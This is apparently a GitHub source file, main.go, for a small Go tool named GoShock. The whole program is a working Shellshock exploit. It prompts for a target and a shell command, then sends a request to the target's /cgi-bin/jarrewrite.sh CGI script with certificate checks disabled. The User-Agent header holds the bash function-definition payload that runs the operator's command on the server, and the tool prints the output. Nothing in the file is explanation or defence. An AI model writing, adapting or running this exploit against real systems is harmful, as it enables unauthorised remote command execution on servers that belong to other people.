-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.go
74 lines (55 loc) · 1.23 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"log"
"net/http"
"github.com/gookit/color"
)
func showBanner() {
banner := `
_
|_) \/ | _. |_ _
| /\ |_ (_| |_) _>
GoShock v.0.0.1
`
fmt.Println(banner)
}
func main() {
// clear screen
fmt.Print("\033[H\033[2J")
showBanner()
var TARGET string
var CMD string
var ARG string
color.Bold.Print("TARGET> ")
fmt.Scan(&TARGET)
color.Bold.Print("Linux Shell Command> ")
fmt.Scan(&CMD)
fmt.Scanln(&ARG)
COMMAND := fmt.Sprintf("%s %s", CMD, ARG)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, err := http.NewRequest("GET", "https://"+TARGET+"/cgi-bin/jarrewrite.sh", nil)
if err != nil {
}
req.Host = TARGET
req.Header.Set("User-Agent", "() { :; }; echo ; /bin/bash -c '"+COMMAND+"'")
req.Header.Set("Connection", "close")
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "en")
req.Header.Set("Accept-Encoding", "gzip, deflate")
resp, err := client.Do(req)
if err != nil {
log.Fatalln(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalln(err)
}
fmt.Printf("%s\n", body)
}